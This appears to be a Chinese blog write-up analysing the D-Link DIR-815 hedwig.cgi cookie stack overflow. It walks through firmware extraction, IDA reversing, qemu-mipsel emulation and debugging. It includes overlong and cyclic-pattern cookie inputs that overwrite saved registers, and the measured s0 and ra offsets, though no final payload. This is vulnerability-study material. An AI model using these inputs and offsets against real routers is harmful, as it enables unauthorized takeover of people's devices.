before

exploitdb链接：https://www.exploit-db.com/exploits/33863/

简要分析

我们根据描述可以看到漏洞是hedwig.cgi在处理过长的cookie出现的漏洞

我们下载固件并binwalk解压

ftp://54.187.190.227/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP

可以看到这个cgi实际是指向cgibin程序

1 2	giant@ubuntu:~/learn/ch10/_DIR-815_FW_1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/web$ ll hedwig.cgi lrwxrwxrwx 1 giant giant 14 May 2 19:44 hedwig.cgi -> /htdocs/cgibin

这是一个mips 32位小端的程序（MSB大端，LSB小端）

1
2

giant@ubuntu:~/learn/ch10/_DIR-815_FW_1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/web$ file ../cgibin 
../cgibin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

用ida打开cgibin，就是判断你访问的是哪个cgi，接着去对应的函数处理

我们找到hedwig.cgi的处理函数为hedwigcgi_main，函数只处理post请求，接着读取/etc/config/image_sign获取固件的sign（其实就是路由的型号），后面就是构造xml的操作，只看外层没看到处理cookie的函数

第二个方法就是字符串搜索cookie，有个HTTP_COOKIE的字符串（因为CGI编程可以通过getenv(“HTTP_COOKIE”)来获得cookie，所以有编程基础还是很重要的），解引用是在sess_get_uid函数里面，而且hedwigcgi_main调用了这个函数

而且根据这个函数名和里面的逻辑，我们的cookie应该是uid=xxx的形式

而而且hedwigcgi_main函数获取到cookie后的sprintf很可能是造成溢出的函数

其实下面还有个sprintf函数，说不定是那个函数，这可能要取决于真正的路由器上有没有/var/tmp/这个目录（当然这里实际的路由器是有的）

调试

最重要有一点是没讲的，复制库到当前的目录，先查看需要哪些

giant@ubuntu:~/learn/ch10/_DIR-815_FW_1.01b14_1.01b14.bin.extracted/squashfs-root$ cp $(which qemu-mipsel) ./qemu-mipsel
giant@ubuntu:~/learn/ch10/_DIR-815_FW_1.01b14_1.01b14.bin.extracted/squashfs-root$ ldd ./qemu-mipsel 
	linux-vdso.so.1 =>  (0x00007ffcbef94000)
	libgmodule-2.0.so.0 => /usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0 (0x00007fe77af4e000)
	libglib-2.0.so.0 => /lib/x86_64-linux-gnu/libglib-2.0.so.0 (0x00007fe77ac3a000)
	librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007fe77aa32000)
	libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fe77a6dc000)
	libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fe77a4c5000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fe77a2a6000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe779ec6000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe779cc2000)
	libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fe779a50000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fe77d5b4000)

正式复制

mkdir -p ./usr/lib/
mkdir -p ./lib/x86_64-linux-gnu/
mkdir -p ./lib64/
cp -p /usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0  ./usr/lib/
cp -p /lib/x86_64-linux-gnu/libglib-2.0.so.0  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/librt.so.1  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libm.so.6  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libgcc_s.so.1  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpthread.so.0  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libc.so.6  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libdl.so.2  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpcre.so.3  ./lib/x86_64-linux-gnu/
cp -p /lib64/ld-linux-x86-64.so.2  ./lib64/

启动并传递环境变量等待调试

giant@ubuntu:~/learn/ch10/_DIR-815_FW_1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-mipsel -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'A'*0x600"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g 23946 ./htdocs/web/hedwig.cgi

打开ida远程attach上去，可以看到执行完sobj_get_string后，v0的值已经指向uid的值了

上图中的s5的注释写错了，s5为sobj_new的返回值覆盖，而且s5并不是sprintf的第一个参数，他是sobj_get_string的第一个参数，因为mips的流水线执行，先执行了jalr后面的一条，再执行jalr

真正的参数1是s1

我们跟随s1，可以看到已经格式化好了，且覆盖的是栈上的地址

我们先看看假如没有创建/var/tmp/的时候的情况，那肯定会跳到这边来

最后返回的时候从栈上取值，就把$ra给覆盖了

而实际的路由中是存在/var/tmp/目录的，所以上面这条路径是有问题的，我们建立这个目录，重新调试

由于xml里面没有数据，最终还是不能执行到那

那我们随便写点东西到temp.xml里面

<note>
        <to>George</to>
        <from>John</from>
        <heading>Reminder</heading>
        <body>Don't forget the meeting!</body>
</note>

但由于下面的haystack还是0，所以最终还是进入不了那个分支，不知作者当时是怎么搞的

.text:004096D4
.text:004096D4 loc_4096D4:
.text:004096D4 lw      $v0, haystack
.text:004096DC nop
.text:004096E0 bnez    $v0, loc_4096F0
.text:004096E4 lui     $v0, 0x42

漏洞利用

注：那这次利用就按没有/var/tmp目录来

先用gef生成2000个测试字符并准备调试

sudo chroot ./ ./qemu-mipsel -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs'"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g 23946 ./htdocs/web/hedwig.cgi

调试结果

s0偏移1007， ra偏移1043

gef?  pattern offset 0x6161636B
[+] Searching '0x6161636B'
[+] Found at offset 1007 (little-endian search) likely
[+] Found at offset 237 (big-endian search) 

gef➤  pattern offset 0x61616C6B
[+] Searching '0x61616C6B'
[+] Found at offset 1043 (little-endian search) likely
[+] Found at offset 1137 (big-endian search)

由于路由应该没有开启aslr，所以用的基址+偏移的形式调用system

tips

关闭很难关掉的qemu

1	ps -aux \| grep mips \|grep -v grep \| awk '{print $2}' \| sudo xargs kill -9

reference

《揭秘家用路由器0day漏洞挖掘技术》

忘掉掌声，按自己的方式，继续前行，跑过一生

D-Link DIR-815 路由器多次溢出分析

before

简要分析

调试

漏洞利用

tips

reference